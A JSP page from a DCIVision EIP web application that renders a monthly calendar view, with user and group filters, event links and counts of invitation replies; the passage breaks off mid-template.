<%
/*
 * @(#)IncludeListCalendarByMonth.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListCalendar.jsp

  This is a ListCalendar page.  It shows the active Calendar' record in EIP.

    @author             Robert Jin
    @company            DCIVision Ltd
    @creation date      03/12/2003
    @version            $Revision: 1.43.4.6 $
*/

%>

<%@page import="java.util.*" %>
<%@page import="javax.sql.*" %>
<%@page import="java.sql.*" %>
<%@page import="com.dcivision.calendar.*" %>
<%@page import="com.dcivision.calendar.bean.*" %>
<%@page import="com.dcivision.user.bean.*" %>
<%@page import="com.dcivision.alert.bean.*"%>
<%@page import="com.dcivision.alert.dao.*"%>
<%@page import="com.dcivision.alert.core.*"%>
<%@page import="com.dcivision.framework.TextUtility" %>
<%@page import="com.dcivision.framework.Utility" %>
<%@page import="com.dcivision.framework.GlobalConstant" %>
<%@page import="com.dcivision.framework.UserInfoFactory" %>
<%@page import="com.dcivision.framework.SystemParameterConstant" %>
<%@page import="com.dcivision.framework.SystemParameterFactory" %>
<%@page import="com.dcivision.framework.MessageResourcesFactory" %>
<%@page import="com.dcivision.framework.DataSourceFactory" %>
<%@page import="com.dcivision.framework.web.AbstractSearchForm" %>
<%@page import="com.dcivision.user.bean.*" %>
<%@page import="com.dcivision.user.dao.*" %>
<%@taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<%@taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%@taglib uri="/WEB-INF/struts-logic.tld" prefix="logic" %>
<%@taglib uri="/WEB-INF/layout.tld" prefix="layout" %>

<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listCalendarRecordForm" class="com.dcivision.calendar.web.ListCalendarRecordForm" scope="request"/>

<!-- Javascript Begin -->
<script language="JavaScript">
<!--
function changeUser() {
  document.listCalendarRecordForm.selectedGroupID.value = document.listCalendarRecordForm.basicSearchField.value;
  document.listCalendarRecordForm.selectedUserID.value = document.listCalendarRecordForm.basicSearchType.value;
  document.listCalendarRecordForm.submit();
}
//-->
</script>
<!-- Javascript End -->


<style>
.header
{
  font-family: "Arial", "Helvetica", "sans-serif";
  font-size: 13px;
  font-weight: bold;
  color:white;
  background:#003366;
  text-decoration: none;
}

.selected
{
  border-width: "1px";
  border-color: "red";
  border-style: "solid"
}
</style>

<%

  String singleQuote = "'";
  Connection conn = null;
  
  conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  Integer selectedUserID = sessionContainer.getUserRecordID();
  Integer selectedGroupID = new Integer(0);
  GregorianCalendar gCal = new GregorianCalendar() ;
  int currentDay = gCal.get(GregorianCalendar.DAY_OF_MONTH) ;
  int currentMonth = gCal.get(GregorianCalendar.MONTH) + 1 ;
  int currentYear = gCal.get(GregorianCalendar.YEAR) ;
  int weekDay = gCal.get(GregorianCalendar.DAY_OF_WEEK) ;
  int startOfMonth = gCal.getActualMinimum(GregorianCalendar.DAY_OF_MONTH) ;

  int selectedDay = currentDay;
  int selectedMonth = currentMonth;
  int selectedYear = currentYear;
  UserRecordDAObject userRecordDAO = new UserRecordDAObject(sessionContainer,conn);
  if (session.getAttribute("CALENDAR_SELECTED_DATE")!=null){
    Calendar selectedDateInSession = (Calendar)session.getAttribute("CALENDAR_SELECTED_DATE");
    selectedDay = selectedDateInSession.get(Calendar.DAY_OF_MONTH);
    selectedMonth = selectedDateInSession.get(Calendar.MONTH)+1;
    selectedYear = selectedDateInSession.get(Calendar.YEAR);
  }
  if (request.getParameter("selectedDay")!=null)
    selectedDay = TextUtility.parseInteger(request.getParameter("selectedDay"));
  if (request.getParameter("selectedMonth")!=null)
    selectedMonth = TextUtility.parseInteger(request.getParameter("selectedMonth"));
  if (request.getParameter("selectedYear")!=null)
    selectedYear = TextUtility.parseInteger(request.getParameter("selectedYear"));


  if (session.getAttribute("CALENDAR_SELECTED_USERID")!=null)
    selectedUserID = (Integer)session.getAttribute("CALENDAR_SELECTED_USERID");

  if (session.getAttribute("CALENDAR_SELECTED_GROUPID")!=null)
    selectedGroupID = (Integer)session.getAttribute("CALENDAR_SELECTED_GROUPID");

  Calendar selectedDate = Calendar.getInstance();
  selectedDate.set(selectedYear,selectedMonth-1,selectedDay);
  String strSelectedDate = TextUtility.formatDate(selectedDate.getTime(),CalendarUtility.TIME_FORMFAT_A);
        Utility.setCalendarTime(selectedDate,0,0,0,0);
  gCal = (GregorianCalendar)selectedDate;
  int endOfMonth = gCal.getActualMaximum(GregorianCalendar.DAY_OF_MONTH) ;
  int today = currentDay;

  // 	This fragment of code handle the case if the selectedDate is larger than
  //	what it supposed to be,like '32'.
  selectedDay = selectedDate.get(Calendar.DAY_OF_MONTH);
  selectedMonth = selectedDate.get(Calendar.MONTH)+1;
  selectedYear = selectedDate.get(Calendar.YEAR);

  String dateInLongFormat = TextUtility.formatDate(selectedDate.getTime(),"dd MMMM yyyy");


  String[][] searchMap ={ {"calendar.columnheader.description", null},
    {"calendar.columnheader.title", null},
    {"calendar.columnheader.type", null}
    };
  ArrayList userList = (ArrayList)request.getAttribute("calendarRecord_userList");

  UserRecord defaultSelection = new UserRecord();
  defaultSelection.setID(new Integer("-1"));
  defaultSelection.setFirstName("     --- "+MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "calendar.label.all_event")+" ---     ");
  userList.add(0,defaultSelection);

  UserRecord selfSelection = new UserRecord();
  selfSelection.setID(sessionContainer.getUserRecordID());
  selfSelection.setFirstName(sessionContainer.getUserFullName());
  userList.add(1,selfSelection);
  request.setAttribute("userList",userList);

  //add the "-- All Group --" into the allGroupList
  ArrayList groupList = (ArrayList)request.getAttribute("allGroupList");
  UserGroup defaultGroupSelection = new UserGroup();
  defaultGroupSelection.setID(new Integer("-1"));
  defaultGroupSelection.setGroupName("--- "+MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(),"calendar.label.all_groups")+" ---");
  groupList.add(0,defaultGroupSelection);
  request.setAttribute("groupList",groupList);

  String[] value = Utility.getStringArray(Utility.getPropertyArray(userList,"ID",new Integer[0]));
  String[] userName = (String[])Utility.getPropertyArray(userList,"firstName",new String[0]);

  // Set 'selectedUserID' to logined userID if the selected userID doesn't have events in the selected period
  List tempList = Utility.getList(Utility.getPropertyArray(userList,"ID",new Integer[0]));
  if (!tempList.contains(selectedUserID))
    selectedUserID = sessionContainer.getUserRecordID();

  UpdateAlertDAObject updateAlertDAO  = new UpdateAlertDAObject(sessionContainer, conn);
    List updateAlertList = new ArrayList();

%>
<html:form action="/calendar/ListCalendar.do" method="GET">
<input type="hidden" name="navMode" value="LM">
<input type="hidden" name="selectedDay" value="<%=selectedDay%>">
<input type="hidden" name="selectedMonth" value="<%=selectedMonth%>">
<input type="hidden" name="selectedYear" value="<%=selectedYear%>">
<input type="hidden" name="selectedGroupID" value="">
<input type="hidden" name="selectedUserID" value="">

<%
  String defaultSelectedUserID = sessionContainer.getUserRecordID().toString();
  String defaultSelectedGroupID = "-1";

  if (!Utility.isEmpty(session.getAttribute("CALENDAR_SELECTED_USERID") )) {
    defaultSelectedUserID = ((Integer)session.getAttribute("CALENDAR_SELECTED_USERID")).toString();
  }
  if (!Utility.isEmpty(session.getAttribute("CALENDAR_SELECTED_GROUPID") )) {
    defaultSelectedGroupID = session.getAttribute("CALENDAR_SELECTED_GROUPID").toString();
  }
%>

<table cellpadding="2" cellspacing="0" border="0" width="100%" height="40">
  <tr>
    <td align="left">
      <font class='sectionHeader'><b><bean:message key='calendar.label.view'/>:</b></font>&nbsp;
      <html:select property="basicSearchField"  onchange='changeUser()' value="<%=defaultSelectedGroupID%>">
      <html:options collection="groupList" labelProperty='groupName' property='ID'/>
      </html:select>

      <html:select property="basicSearchType"  onchange='changeUser()' value="<%=defaultSelectedUserID%>">
      <html:options collection="userList" labelProperty="firstName" property='ID' />
      </html:select>

    </td>
  </tr>
</table>

<script>
function showTab(tabList, tabName, dummy){
  if("dailyTab" == tabName){
    document.location="ListCalendar.do?navMode=LD&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>";
  }else if("weeklyTab" == tabName){
    document.location="ListCalendar.do?navMode=LW&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>";
  }else if("toDoTab" == tabName){
    document.location="ListCalendar.do?navMode=<%=CalendarRecord.NAV_MODE_LIST_TODO%>";
  }else if("eventTab" == tabName){
    document.location="ListCalendar.do??navMode=<%=CalendarRecord.NAV_MODE_LIST_EVENT%>";
  }
}
</script>
<layout:tabContainer id="tab1">
<table width="100%" border="0" cellspacing="0" cellpadding="0" >
  <tr>
    <td>
    <layout:tabBar styleClass='tabBar'>
      <layout:tabPane id="dailyTab"   title="calendar.label.tab_daily"/>
      <layout:tabPane id="weeklyTab"  title="calendar.label.tab_weekly"/>      
      <layout:tabPane id="monthlyTab" title="calendar.label.tab_monthly" selected="true"/>
<!--      
      <layout:tabPane id="toDoTab"    title="calendar.label.tab_todo"/>
      <layout:tabPane id="eventTab"   title="calendar.label.tab_event"/>
-->
    </layout:tabBar>

    </td>
    <td align='right'>
      <html:standardButton label="calendar.label.sharingdefault" link="MaintCalendarShare.do?navMode=E&oldNavMode=LM"/>
    </td>
  </tr>
</table>

<!-- Tab Folder end -->
<table width="100%" border="0" cellpadding="0" cellspacing="1">
<%
  GregorianCalendar gregorianCalendar= new GregorianCalendar(selectedYear,selectedMonth-1,selectedDay);
  gregorianCalendar.add(GregorianCalendar.MONTH,-1);
%>
  <tr valign="top" class='greyD'>
    <td width="40" class="columnLabel" align='center'>
      <!--<a href='ListCalendar.do?navMode=LM&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth-1%>&selectedYear=<%=selectedYear%>'><<</a>-->
      <a href='ListCalendar.do?navMode=LM&selectedDay=<%=gregorianCalendar.get(GregorianCalendar.DAY_OF_MONTH)%>&selectedMonth=<%=gregorianCalendar.get(GregorianCalendar.MONTH)+1%>&selectedYear=<%=gregorianCalendar.get(GregorianCalendar.YEAR)%>'>&lt;&lt;</a>
    </td>
    <td width="550" class="columnLabel" align='center'>
      <bean:message key='calendar.columnheader.event'/>&nbsp;<bean:message key='calendar.columnheader.at'/>&nbsp;<%=TextUtility.formatDate(selectedDate.getTime(),"MMMMMM")%>&nbsp;<%=selectedYear%>
    </td>
    <td width="40" class="columnLabel" align='center'>
      <%gregorianCalendar.add(GregorianCalendar.MONTH,2);%>
      <!--<a href='ListCalendar.do?navMode=LM&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth+1%>&selectedYear=<%=selectedYear%>'>>></a>-->
      <a href='ListCalendar.do?navMode=LM&selectedDay=<%=gregorianCalendar.get(GregorianCalendar.DAY_OF_MONTH)%>&selectedMonth=<%=gregorianCalendar.get(GregorianCalendar.MONTH)+1%>&selectedYear=<%=gregorianCalendar.get(GregorianCalendar.YEAR)%>'>&gt;&gt;</a>
    </td>
  </tr>
</table>

<table width="100%" border="0" cellpadding="0" cellspacing="1">
  <tr class="greyD">
    <td align='center' width="14%">
      <b><bean:message key='calendar.columnheader.sun'/></b>
    </td>
    <td align='center' width="14%">
      <b><bean:message key='calendar.columnheader.mon'/></b>
    </td>
    <td align='center' width="14%">
      <b><bean:message key='calendar.columnheader.tue'/></b>
    </td>
    <td align='center' width="14%">
      <b><bean:message key='calendar.columnheader.wed'/></b>
    </td>
    <td align='center' width="14%">
      <b><bean:message key='calendar.columnheader.thu'/></b>
    </td>
    <td align='center' width="14%">
      <b><bean:message key='calendar.columnheader.fri'/></b>
    </td>
    <td align='center' width="14%">
      <b><bean:message key='calendar.columnheader.sat'/></b>
    </td>
  </tr>
  <tr class="light">

<%
  int TDcounter=1;
  int TRcounter=1;
/*	Set the selectedDate to the '1' and find out how many empty table cells need to
 *	be insert in front of the calendar.
 */
  selectedDate.set(Calendar.DAY_OF_MONTH,1);

//Insert empty table cells need to be insert in front of the calendar if need.
  if (selectedDate.get(Calendar.DAY_OF_WEEK)!=0) {
    for (int i = 0;i<selectedDate.get(Calendar.DAY_OF_WEEK)-1;i++) {	%>
    <td width="86" height="85" class="bodyBold" align='left' valign='top'>&nbsp;

    </td>
<%			TDcounter++;
    }
  }
//	Reset the selectedDate to the selectedDay
  selectedDate.set(Calendar.DAY_OF_MONTH,selectedDay);

  Calendar startDateFromRec = null;
  Calendar endDateFromRec = null;
  boolean isInvited = false;
  boolean haveWholeDayEvent = false;
  Calendar calendarFromRec = Calendar.getInstance();
  Calendar dateTimeFromRec = Calendar.getInstance();
  Calendar endTimeFromRec = Calendar.getInstance();
  ArrayList list = new ArrayList();
  list = (ArrayList)request.getAttribute("calendarRecord");
  CalendarRecord calendar = null;
  CalendarUtility util = new CalendarUtility();
  for (int i = 1;i<endOfMonth+1;i++) {	%>
    <td width="110" height="85" <%= (i==today&&currentMonth==(selectedMonth)) ?  "bgcolor='#DCEEFE'" :"class='bodyBold'" %> align='left' valign='top'>
      <table width="100%" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td align='left'>
          <a href='ListCalendar.do?navMode=LD&selectedDay=<%=i%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>'><%=i%></a><br>
        </td>
        <td align='right'>
          <span class='bodyVerySmall'><nobr>
            <logic:permission right="I">
              <a href='MaintCalendar.do?eventType=<%=CalendarRecord.EVENT_TYPE_CALENDAR_EVENT%>&navMode=N&selectedDay=<%=i%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>&listName=eventList&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_MONTH%>'>+<bean:message key='calendar.label.event_calendar_event'/></a><br><a href='MaintCalendar.do?eventType=<%=CalendarRecord.EVENT_TYPE_CALENDAR_MEETING%>&navMode=N&selectedDay=<%=i%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>&listName=eventList&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_MONTH%>'>+<bean:message key='calendar.label.event_calendar_meeting'/></a>
              <font color="gray">+<bean:message key='calendar.label.event_calendar_event'/><br>+<bean:message key='calendar.label.event_calendar_meeting'/></font>
            </logic:permission>
          </nobr></span>
        </td>
      </tr>
      <tr>
        <td colspan='2' height='10'>&nbsp;

        </td>
      </tr>
<%
    selectedDate.set(Calendar.DAY_OF_MONTH,i);
    haveWholeDayEvent = false;
    for (int j=0;j<list.size();j++){
      if (list.get(j) instanceof CalendarRecord) {
        calendar = (CalendarRecord)list.get(j);
        startDateFromRec = Utility.timestampToCalendar(calendar.getDatetime());
        Utility.setCalendarTime(startDateFromRec,0,0,0,0);
        Utility.setCalendarTime(endDateFromRec,0,0,0,0);
        if (Utility.isEmpty(calendar.getEndtime()))
          endDateFromRec = startDateFromRec;
        else
          endDateFromRec = Utility.timestampToCalendar(calendar.getEndtime());
        if ((startDateFromRec.before(selectedDate)&&endDateFromRec.after(selectedDate))||(GlobalConstant.TRUE.equals(calendar.getIsWholeDay())&&(startDateFromRec.equals(selectedDate)||endDateFromRec.equals(selectedDate)))) {
          haveWholeDayEvent = true;
          break;
        }
      }
    }

  if (haveWholeDayEvent) {		%>
      <tr>
        <td width="110" height='20' class="<%= ((TRcounter%2)!=0) ? "greyD" : "light" %>" colspan='2'>
          <span class="bodyVerySmall">

<%	for (int j=0;j<list.size();j++){
      if (list.get(j) instanceof CalendarRecord) {
        calendar = (CalendarRecord)list.get(j);
        startDateFromRec = Utility.timestampToCalendar(calendar.getDatetime());
        dateTimeFromRec.setTime(calendar.getDatetime());
        String calendarCreatorName = UserInfoFactory.getUserFullName(calendar.getCreatorID());
        String showValue = calendar.getTitle();
        if(!calendar.getCreatorID().equals(sessionContainer.getUserRecordID())){
          if(calendar.getIsInvitation()){
            showValue = showValue + " ["+MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(),"calendar.label.colleague_invited_by")+" "+calendarCreatorName+"]";
          } else if(CalendarRecord.SHARE_TYPE_PUBLIC.equals(calendar.getShareType())||CalendarRecord.SHARE_TYPE_SHOW_TITLE.equals(calendar.getShareType())){
            showValue = showValue + " ["+MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(),"calendar.label.colleague_shared_by")+" "+calendarCreatorName+"]";
          }
        }
        //showValue=TextUtility.replaceString(showValue,"'","&#39");
        if (Utility.isEmpty(calendar.getEndtime()))
          endDateFromRec = startDateFromRec;
        else
          endDateFromRec = Utility.timestampToCalendar(calendar.getEndtime());
                                Utility.setCalendarTime(startDateFromRec,0,0,0,0);
        Utility.setCalendarTime(endDateFromRec,0,0,0,0);
        if (calendar.getEndtime()!= null)
          endTimeFromRec.setTime(calendar.getEndtime());
        if ((startDateFromRec.before(selectedDate)&&endDateFromRec.after(selectedDate))||(GlobalConstant.TRUE.equals(calendar.getIsWholeDay())&&(startDateFromRec.equals(selectedDate)||endDateFromRec.equals(selectedDate)))) {
          isInvited = util.checkInvitedToMeeting(calendar.getID(),sessionContainer,conn);
          String calendarClass = "calendar_own_event";
          if(CalendarRecord.isActivity(calendar)){
            calendarClass = "activity_event";
          } else if(!calendar.getCreatorID().equals(sessionContainer.getUserRecordID())){
            if(isInvited){
              calendarClass = "calendar_others_meeting";
            } else if(CalendarRecord.SHARE_TYPE_SHOW_TITLE.equals(calendar.getShareType())||CalendarRecord.SHARE_TYPE_PUBLIC.equals(calendar.getShareType())){
              calendarClass = "calendar_others_event";
            }
          }						%>
          <bean:message key='calendar.label.whole_day_event' />&nbsp;
          <br>
          <nobr>
          <%if(calendar.getIsInvitation()){ %>
             <%if(calendar.getIsAcceptance()){ %>
               <a title='<%=TextUtility.replaceString(calendar.getTitle(),singleQuote,"&#39")%><%if (!calendar.getCreatorID().equals(sessionContainer.getUserRecordID())) {%>&nbsp[<bean:message key="calendar.label.colleague_invited_by"/> <%=calendarCreatorName%>]<%}%>' href='MaintCalendar.do?navMode=V&ID=<%=calendar.getID()%>&caleType=I&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_MONTH%>&selectedDay=<%=i%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>'>
                 <font class='calendar_others_meeting'>
                   <html:summarizeContent key='<%=TextUtility.htmlEncode(showValue)%>' limitLength="15" />
                 </font>
               </a>
            <%} else {%>
               <a title='<%=TextUtility.replaceString(calendar.getTitle(),singleQuote,"&#39")%><%if (!calendar.getCreatorID().equals(sessionContainer.getUserRecordID())) {%>&nbsp[<bean:message key="calendar.label.colleague_invited_by"/> <%=calendarCreatorName%>]<%}%>' href='MaintCalendar.do?navMode=V&ID=<%=calendar.getID()%>&caleType=I&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_MONTH%>&selectedDay=<%=i%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>&opReply=True'>
                 <font class='calendar_others_meeting'>
                   <bean:message key='home.label.icon_invite_meeting' />&nbsp;
                   <html:summarizeContent key='<%=TextUtility.htmlEncode(showValue)%>' limitLength="15" />
                 </font>
               </a>
            <%}%>
          <%}else if (CalendarRecord.SHARE_TYPE_PUBLIC.equals(calendar.getShareType())) {%>
            <a title='<%=TextUtility.replaceString(showValue,singleQuote,"&#39")%>' href='MaintCalendar.do?navMode=V&ID=<%=calendar.getID()%>&caleType=S&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_MONTH%>&selectedDay=<%=i%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>'>
            <font class='<%= calendarClass %>'><html:summarizeContent key="<%=TextUtility.htmlEncode(showValue)%>" limitLength="15" /></font></a>
          <% }else if  (CalendarRecord.SHARE_TYPE_SHOW_TITLE.equals(calendar.getShareType())) {%>
            <%if (calendar.getCreatorID().toString().equals(sessionContainer.getUserRecordID().toString())) {%>
              <a title='<%=TextUtility.replaceString(showValue,singleQuote,"&#39")%>' href='MaintCalendar.do?navMode=V&ID=<%=calendar.getID()%>&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_MONTH%>&selectedDay=<%=i%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>'><font class='<%= calendarClass %>'><html:summarizeContent key="<%=TextUtility.htmlEncode(showValue)%>" limitLength="15" /></font></a>
            <%}else{%>
              <font class='<%= calendarClass %>'><a title='<%=showValue%>'><html:summarizeContent key="<%=TextUtility.htmlEncode(showValue)%>" limitLength="15" /></a></font>
            <%}%>
          <%}else if (calendar.getCreatorID().toString().equals(sessionContainer.getUserRecordID().toString())) {%>
              <a title='<%=TextUtility.replaceString(showValue,singleQuote,"&#39")%>' href='MaintCalendar.do?navMode=V&ID=<%=calendar.getID()%>&listName=eventList&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_MONTH%>&selectedDay=<%=i%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>'><font class='<%= calendarClass %>'><html:summarizeContent key="<%=TextUtility.htmlEncode(showValue)%>" limitLength="15" /></font></a>
          <%}%>
          </nobr>
<%	//check for invite status		%>

<%				updateAlertList = (ArrayList)updateAlertDAO.getByObjectTypeObjectIDAndActionType(UpdateAlert.CALENDAR_TYPE, calendar.getID(), UpdateAlert.INVITE_ACTION);
          if (updateAlertList.size()>0)  {
            UpdateAlert updateAlert = (UpdateAlert)updateAlertList.get(0);

            UpdateAlertSystemLogDAObject alertSystemLogDAO = new UpdateAlertSystemLogDAObject(sessionContainer, conn);
            List validUpdateAlertID = new ArrayList(1);
            validUpdateAlertID.add(updateAlert.getID());
            List systemLogList = alertSystemLogDAO.getSystemLogList(validUpdateAlertID);

            int ttlReplyOnAccept = 0;
            int ttlReplyOnTentative =  0;
            int ttlReplyOnReject = 0;
            if (systemLogList!=null) {
              for (int k=0; k<systemLogList.size(); k++) {
                UpdateAlertSystemLog alertSystemLog = (UpdateAlertSystemLog)systemLogList.get(k);

                List replyOnAcceptAry = (List) alertSystemLogDAO.getReplyActionByUpdateAlertID(alertSystemLog, UpdateAlert.ACCEPT_ON_REPLY);
                 if (replyOnAcceptAry!=null)
                  ttlReplyOnAccept = replyOnAcceptAry.size();
                List replyOnTentativeAry = (List) alertSystemLogDAO.getReplyActionByUpdateAlertID(alertSystemLog, UpdateAlert.TENTATIVE_ON_REPLY);
                 if (replyOnTentativeAry!=null)
                  ttlReplyOnTentative = replyOnTentativeAry.size();
                List replyOnRejectAry = (List) alertSystemLogDAO.getReplyActionByUpdateAlertID(alertSystemLog, UpdateAlert.REJECT_ON_REPLY);
                 if (replyOnRejectAry!=null)
                  ttlReplyOnReject = replyOnRejectAry.size();
          }%>

          <br>
          <b><html:img src='IconAccept.gif' /><%=ttlReplyOnAccept%> <html:img src='IconTentative.gif' /><%=ttlReplyOnTentative%> <html:img src='IconReject.gif' /> <%=ttlReplyOnReject%> </b>
<%	 	}
    }
%>
    <br>
<%						}
          }
        }
%>
        </td>
      </tr>
<%		}								%>
      </table>
      <span class="bodyVerySmall">
<%
        isInvited = false;
        for (int j=0;j<list.size();j++){
          if (list.get(j) instanceof CalendarRecord) {
            calendar = (CalendarRecord)list.get(j);
            %>
            <%
            startDateFromRec = Utility.timestampToCalendar(calendar.getDatetime());
                        String startDatetime=TextUtility.formatDate(startDateFromRec.getTime(),CalendarUtility.TIME_FORMFAT_A);
            Utility.setCalendarTime(startDateFromRec,0,0,0,0);
            if (Utility.isEmpty(calendar.getEndtime()))
              endDateFromRec = startDateFromRec;
            else
              endDateFromRec = Utility.timestampToCalendar(calendar.getEndtime());
                                                  String endDatetime=TextUtility.formatDate(endDateFromRec.getTime(),CalendarUtility.TIME_FORMFAT_A);
            Utility.setCalendarTime(endDateFromRec,0,0,0,0);
            String calendarCreatorName = UserInfoFactory.getUserFullName(calendar.getCreatorID());
            String showValue = calendar.getTitle();
            if(!calendar.getCreatorID().equals(sessionContainer.getUserRecordID())){
              if(calendar.getIsInvitation()){
                showValue = showValue + " ["+MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(),"calendar.label.colleague_invited_by")+" "+calendarCreatorName+"]";
              } else if(CalendarRecord.SHARE_TYPE_PUBLIC.equals(calendar.getShareType())||CalendarRecord.SHARE_TYPE_SHOW_TITLE.equals(calendar.getShareType())){
                showValue = showValue + " ["+MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(),"calendar.label.colleague_shared_by")+" "+calendarCreatorName+"]";
              }
            }
            //showValue=TextUtility.replaceString(showValue,"'","&#39");
            if ((startDateFromRec.equals(selectedDate)||endDateFromRec.equals(selectedDate))&&(GlobalConstant.FALSE.equals(calendar.getIsWholeDay())||calendar.getIsWholeDay()==null)) {
              calendarFromRec.setTime(calendar.getDatetime());
              isInvited = util.checkInvitedToMeeting(calendar.getID(),sessionContainer,conn);
              String calendarClass = "calendar_own_event";
              if(CalendarRecord.isActivity(calendar)){
                calendarClass = "activity_event";
              } else if(!calendar.getCreatorID().equals(sessionContainer.getUserRecordID())){
                if(isInvited){
                  calendarClass = "calendar_others_meeting";
                } else if(CalendarRecord.SHARE_TYPE_SHOW_TITLE.equals(calendar.getShareType())||CalendarRecord.SHARE_TYPE_PUBLIC.equals(calendar.getShareType())){
                  calendarClass = "calendar_others_event";
                }
              }
                %>
              <nobr>
               <%
              if (startDateFromRec.before(selectedDate)&&endDateFromRec.equals(selectedDate)) {			%>
                <%//Code Update By Jim.Zhou			2006/06/08		Bug #5666%>
                <b><%=TextUtility.formatDate(selectedDate.getTime(),CalendarUtility.TIME_FORMFAT_A)%><%//=endDatetime%></b>
                <%//Code Update End%>
<%							} else {					%>
                <b><%=startDatetime%></b>
<%							}
              if (endDateFromRec.after(selectedDate)&&startDateFromRec.equals(selectedDate)) {			%>
                &nbsp;<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(),
                "common.label.period_to")+"<b>&nbsp;12:00 PM</b>"%><%//Code Update By Jim.Zhou			2006/06/08		Bug #5666%>
<%							} else {					%>
                &nbsp;<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(),
                "common.label.period_to")+"&nbsp;"%>
                <b><%=endDatetime%></b>
<%							}							%>
</nobr>
<br>
              <nobr>
              <%if(calendar.getIsInvitation()){ %>
                <%if(calendar.getIsAcceptance()){ %>
                    <%//Update By Jim.Zhou		2006/09/01		Bug EIP-123     use "'" instead of "&#39"%>
                   <a title='<%=TextUtility.replaceString(calendar.getTitle(),singleQuote,"&#39")%><%if (!calendar.getCreatorID().equals(sessionContainer.getUserRecordID())) {%>&nbsp[<bean:message key="calendar.label.colleague_invited_by"/> <%=calendarCreatorName%>]<%}%>' href='MaintCalendar.do?navMode=V&ID=<%=calendar.getID()%>&caleType=I&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_MONTH%>&selectedDay=<%=i%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>'>
                   <font class='<%=(CalendarRecord.isActivity(calendar))?"activity_event":((calendar.getCreatorID().equals(sessionContainer.getUserRecordID()))?"calendar_own_event":"calendar_others_meeting")%>'><html:summarizeContent key='<%=TextUtility.htmlEncode(showValue)%>' limitLength="15" /></font></a>
                <%} else {%>
                   <a title='<%=TextUtility.replaceString(calendar.getTitle(),singleQuote,"&#39")%><%if (!calendar.getCreatorID().equals(sessionContainer.getUserRecordID())) {%>&nbsp[<bean:message key="calendar.label.colleague_invited_by"/> <%=calendarCreatorName%>]<%}%>' href='MaintCalendar.do?navMode=V&ID=<%=calendar.getID()%>&caleType=I&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_MONTH%>&selectedDay=<%=i%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>&opReply=True'>
                   <font class='<%=(CalendarRecord.isActivity(calendar))?"activity_event":((calendar.getCreatorID().equals(sessionContainer.getUserRecordID()))?"calendar_own_event":"calendar_others_meeting")%>'><bean:message key='home.label.icon_invite_meeting' />&nbsp;<html:summarizeContent key='<%=TextUtility.htmlEncode(showValue)%>' limitLength="15" /></font></a>
                <%}%>
              <%}else if (CalendarRecord.SHARE_TYPE_PUBLIC.equals(calendar.getShareType())) {%>
                   <a title='<%=TextUtility.replaceString(showValue,singleQuote,"&#39")%>' href='MaintCalendar.do?navMode=V&ID=<%=calendar.getID()%>&caleType=S&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_MONTH%>&selectedDay=<%=i%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>'>
                   <font class='<%= calendarClass %>'><html:summarizeContent key="<%=TextUtility.htmlEncode(showValue)%>" limitLength="15" /></font></a>
              <% }else if  (CalendarRecord.SHARE_TYPE_SHOW_TITLE.equals(calendar.getShareType())) {%>
                <%if (calendar.getCreatorID().toString().equals(sessionContainer.getUserRecordID().toString())) {%>
                  <a title='<%=TextUtility.replaceString(showValue,singleQuote,"&#39")%>' href='MaintCalendar.do?navMode=V&ID=<%=calendar.getID()%>&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_MONTH%>&selectedDay=<%=i%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>'><font class='<%= calendarClass %>'><html:summarizeContent key="<%=TextUtility.htmlEncode(showValue)%>" limitLength="15" /></font></a>
                <%}else{%>
                  <font class='<%= calendarClass %>'><a title='<%=showValue%>'><html:summarizeContent key="<%=TextUtility.htmlEncode(calendar.getTitle()+calendar)%>" limitLength="15" /></a></font>
                <%}%>
              <%}else{%>
